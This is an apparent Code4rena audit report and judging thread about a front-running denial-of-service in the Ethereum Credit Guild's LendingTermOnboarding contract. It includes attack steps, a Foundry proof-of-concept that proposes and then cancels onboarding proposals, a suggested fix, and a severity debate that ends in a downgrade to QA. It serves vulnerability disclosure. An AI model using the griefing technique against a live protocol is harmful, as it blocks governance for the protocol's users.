Lending term can be permanently DoS(ed) from being onboarded

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOnboarding.sol#L211 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol#L434 https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol#L572 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOnboarding.sol#L188-L191

Vulnerability details

The LendingTermOnboarding contract allows guild holders to poll to onboard a lending term for issuing loans by creating an onboarding proposal for the lending term through the proposeOnboard(). If the voting weight is enough, the lending term will be onboarded after the Timelock delay.

Nevertheless, the proposeOnboard() has a vulnerability that allows an attacker to perform a denial-of-service (DoS) attack, blocking the creation of an onboarding proposal for their target lending term. The attacker can even block their target lending term from onboarding permanently with budget costs if they will.

Vulnerability Details

The following illustrates the attack steps:

1. Assuming that the attacker's target lending term is either a newly created term waiting to be (first) onboarded or an (old) offboarded term awaiting to be re-onboarded.
2. Alice tries to create an onboarding proposal for the target term by executing the proposeOnboard().
3. The attacker front-runs Alice's transaction.
   1. The attacker executes the LendingTermOnboarding::proposeOnboard() to create an onboarding proposal for the target term.
   2. The attacker invokes the Governor::cancel() to cancel the created proposal.
4. Since Alice's transaction has been front-run in step 3, her transaction is reverted.
5. No one can vote to onboard the target term because its proposal was already canceled in step 3.2.
6. No one can create a new onboarding proposal for the target lending term for 7 days since the proposeOnboard() has a check for the cooldown period of 7 days (i.e., MIN_DELAY_BETWEEN_PROPOSALS constant).
7. The new onboarding proposal for the term can be created once the cooldown period of 7 days has passed. However, the attacker can do step 3 to front-run the transaction again (if they will).

Because the proposeOnboard() has a cooldown period of 7 days for each lending term, the attacker has to execute the DoS operation only every 7 days to block their target lending term from being onboarded. Hence, the attacker's costs are very budgeted compared to the damage to the protocol and users.

Please refer to the Proof of Concept section for the coded PoC.

    // FILE: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol
    function _cancel(
        address[] memory targets,
        uint256[] memory values,
        bytes[] memory calldatas,
        bytes32 descriptionHash
    ) internal virtual returns (uint256) {
        uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);

        ProposalState currentState = state(proposalId);

        require(
            currentState != ProposalState.Canceled &&
                currentState != ProposalState.Expired &&
                currentState != ProposalState.Executed,
            "Governor: proposal not active"
        );
@1      _proposals[proposalId].canceled = true; //@audit -- The attacker cancels the created onboarding proposal

        emit ProposalCanceled(proposalId);

        return proposalId;
    }

    // FILE: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/LendingTermOnboarding.sol
    function proposeOnboard(
        address term
    ) external whenNotPaused returns (uint256 proposalId) {
        // Check that the term has been created by this factory
        require(created[term] != 0, "LendingTermOnboarding: invalid term");

        // Check that the term was not subject to an onboard vote recently
@2      require(
@2          lastProposal[term] + MIN_DELAY_BETWEEN_PROPOSALS < block.timestamp, //@audit -- The onboarding proposal for each term has a cooldown period of 7 days
@2          "LendingTermOnboarding: recently proposed"
@2      );
        lastProposal[term] = block.timestamp;

        // Check that the term is not already active
        // note that terms that have been offboarded in the past can be re-onboarded
        // and won't fail this check. This is intentional, because some terms might be offboarded
        // due to specific market conditions, and it might be desirable to re-onboard them
        // at a later date.
        bool isGauge = GuildToken(guildToken).isGauge(term);
        require(!isGauge, "LendingTermOnboarding: active term");

        // Generate calldata for the proposal
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = getOnboardProposeArgs(term);

        // propose
        return Governor.propose(targets, values, calldatas, description);
    }

    // FILE: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol
    function _castVote(
        uint256 proposalId,
        address account,
        uint8 support,
        string memory reason,
        bytes memory params
    ) internal virtual returns (uint256) {
        ProposalCore storage proposal = _proposals[proposalId];
@3      require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active"); //@audit -- The canceled onboarding proposal can no longer be voted by anyone

        uint256 weight = _getVotes(account, proposal.voteStart, params);
        _countVote(proposalId, account, support, weight, params);

        if (params.length == 0) {
            emit VoteCast(account, proposalId, support, weight, reason);
        } else {
            emit VoteCastWithParams(account, proposalId, support, weight, reason, params);
        }

        return weight;
    }

• @1 -- The attacker cancels the created onboarding proposal: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol#L434

• @2 -- The onboarding proposal for each term has a cooldown period of 7 days: https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/LendingTermOnboarding.sol#L188-L191

• @3 -- The canceled onboarding proposal can no longer be voted by anyone: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/09329f8a18f08df65863a5060f6e776bf7fccacf/contracts/governance/Governor.sol#L572

Impact

Because the proposeOnboard() has a cooldown period of 7 days for each lending term, the attacker has to execute the DoS operation only every 7 days to block their target lending term from being onboarded.

Hence, the attacker's costs are very budgeted compared to the damage to the protocol and users.

Proof of Concept

This section provides a coded PoC.

Place the testPoCLendingTermOnboardingDoS() in the .test/unit/governance/LendingTermOnboarding.t.sol file and run the test using the forge test --match-test testPoCLendingTermOnboardingDoS -vvv command.

The PoC explains the attack steps described in the Vulnerability Details section.

function testPoCLendingTermOnboardingDoS() public {
    // ----- Create a lending term -----
    LendingTerm term = LendingTerm(onboarder.createTerm(address(termImplementation), LendingTerm.LendingTermParams({
        collateralToken: address(collateral),
        maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN,
        interestRate: _INTEREST_RATE,
        maxDelayBetweenPartialRepay: 0,
        minPartialRepayPercent: 0,
        openingFee: 0,
        hardCap: _HARDCAP
    })));
    vm.label(address(term), "term");

    // ----- Mint GUILD tokens & self-delegate for Attacker, Alice, and Bob -----
    address Attacker = address(1);
    guild.mint(Attacker, _PROPOSAL_THRESHOLD);
    vm.prank(Attacker);
    guild.delegate(Attacker);

    guild.mint(alice, _PROPOSAL_THRESHOLD);
    vm.prank(alice);
    guild.delegate(alice);

    guild.mint(bob, _QUORUM);
    vm.prank(bob);
    guild.incrementDelegation(bob, _QUORUM);

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // ----- Alice executes the proposeOnboard() for onboarding the term -----
    // vm.prank(alice);
    // uint256 proposalId = onboarder.proposeOnboard(address(term));

    // ----------------------------------------------------------- //
    //   While Alice was trying to execute the proposeOnboard(),   //
    //   her transaction had been front-run by the attacker        //
    // ----------------------------------------------------------- //

    // ----- The following code block simulates the attacker's ATOMIC transaction. In reality, 
    // all statements below have to be bundled in the smart contract's function -----
    uint256 proposalId;
    {
        // ----- Attacker front-runs Alice's transaction to execute the proposeOnboard() -----
        vm.startPrank(Attacker);
        proposalId = onboarder.proposeOnboard(address(term));
        (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas,
            string memory description
        ) = onboarder.getOnboardProposeArgs(address(term));

        // ----- Check for the proposal creation -----
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Pending));

        // ----- In the same transaction, the onboarding proposal is canceled -----
        onboarder.cancel(targets, values, calldatas, keccak256(bytes(description)));
        vm.stopPrank();

        // ----- Check for the proposal cancellation -----
        assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Canceled));
    }

    // ----- Since Alice's transaction has been front-run, her transaction is reverted -----
    vm.prank(alice);
    vm.expectRevert("LendingTermOnboarding: recently proposed");
    onboarder.proposeOnboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    // ----- No one (including Alice) can create a new onboarding proposal for the particular term for 7 days
    // since the proposeOnboard() has a check for the cooldown period of 7 days (MIN_DELAY_BETWEEN_PROPOSALS) -----
    vm.prank(alice);
    vm.expectRevert("LendingTermOnboarding: recently proposed");
    onboarder.proposeOnboard(address(term));

    vm.roll(block.number + 1);
    vm.warp(block.timestamp + 13);

    vm.prank(bob);
    vm.expectRevert("LendingTermOnboarding: recently proposed");
    onboarder.proposeOnboard(address(term));

    // --------------------------------------------------------------------------------------------------------- //
    //   The new onboarding proposal for the term can be created once the cooldown period of 7 days has passed   //
    //   However, the attacker can do the same steps above to front-run the transaction again (if they will)     //
    // --------------------------------------------------------------------------------------------------------- //
    vm.roll(block.number + 46523); // ~7 days => the cooldown period has passed
    vm.warp(block.timestamp + 46523 * 13);
    vm.prank(alice);
    onboarder.proposeOnboard(address(term));

    // ----- Since the onboarding proposal (created by the attacker) was already canceled, 
    // no one can cast a vote for onboarding the term -----
    vm.prank(bob);
    vm.expectRevert("Governor: vote not currently active");
    onboarder.castVote(proposalId, uint8(GovernorCountingSimple.VoteType.For));

    vm.roll(block.number + (_VOTING_PERIOD - 46525) + 1); // ~8 days => (7 days + 8 days > _VOTING_PERIOD)
    vm.warp(block.timestamp + ((_VOTING_PERIOD - 46525) + 1) * 13);
    assertEq(uint8(onboarder.state(proposalId)), uint8(IGovernor.ProposalState.Canceled));
}

Tools Used

Manual Review

Recommended Mitigation Steps

There can be a handful of solutions depending on the developer's decision.

One possible solution is to allow some authorized users/admins to execute the proposeOnboard() but override the cooldown period check. This solution can prevent the attacker's front-running attack as they will stick around the cooldown period as standard users.

Assessed type

DoS

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC. Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as primary issue

[eswak]

Acknowledging, I disagree with severity because no user funds are at risk and there is always the possibility to atomically create a term + propose an onboarding for it. There is no economic value to this attack and it can be protected against, so I don't think anyone will do it. Feels more like QA/info to me.

It doesn't hurt to prevent proposal cancellations (through a simple override that reverts) in LendingTermOnboarding because I can't think of any legitimate case where a proposal needs to be cancelled (users can still vote against or veto the addition of the term).

One block after proposing, the vote starts and it is not possible to cancel anymore.

[c4-sponsor]

eswak (sponsor) acknowledged

[c4-sponsor]

eswak marked the issue as disagree with severity

[Trumpero]

Agree with sponsor that this issue should be a low/QA based on its impact.

[c4-judge]

Trumpero changed the severity to QA (Quality Assurance)

[c4-judge]

Trumpero marked the issue as grade-a

[c4-judge]

Trumpero marked the issue as grade-c

[NicolaMirchev]

Dear @Trumpero,

I appreciate your time and attention to this matter.

I would like to bring to your attention what I believe to be a significant issue, potentially categorized as at least a "Medium" severity concern. This issue revolves around a clear vulnerability that could be exploited as a Denial of Service (DoS) attack vector. Remarkably, this attack can be executed with just a single transaction per week, emphasizing its critical nature.

In particular, I'd like to draw your attention to the gas inefficiency of the createTerm function as a solution because it is gas inefficient for the caller and it does not guarantee that malicious user won't block the proposal of it again.

Furthermore, it's essential to differentiate this issue from others, such as #244, #85, #1257, #704, and #665, as they pertain to entirely different problems, which are for cancel function in another contract.

[serial-coder]

Hi @Trumpero,

This issue has a coded PoC and was rated a high-quality report.

Why did it get a grade-c/unsatisfactory ?

Further, compared to other issues in the same category, #665, #588, and #344, why are they satisfactory for receiving awards?

What were the judging criteria you used behind them?

[Trumpero]

@NicolaMirchev This issue should be a low/info because it only leads to a temporary and preventable DOS situation, proposers can always createTerm and proposeOnboard in the same transaction (using multicall or an external contract). I believe duplicates are correct since they all mention that Governor::cancel() hasn't been removed and can still be used to cancel their own proposal

[Trumpero]

@serial-coder When an issue is downgraded to QA, it will be included in the QA report of that warden. After combining all QA issues of this warden, their QA point is still not enough to reach grade-b in my evaluation. Therefore, all issues of this warden are marked as grade-c. You can find more information of my QA evaluation in this comment.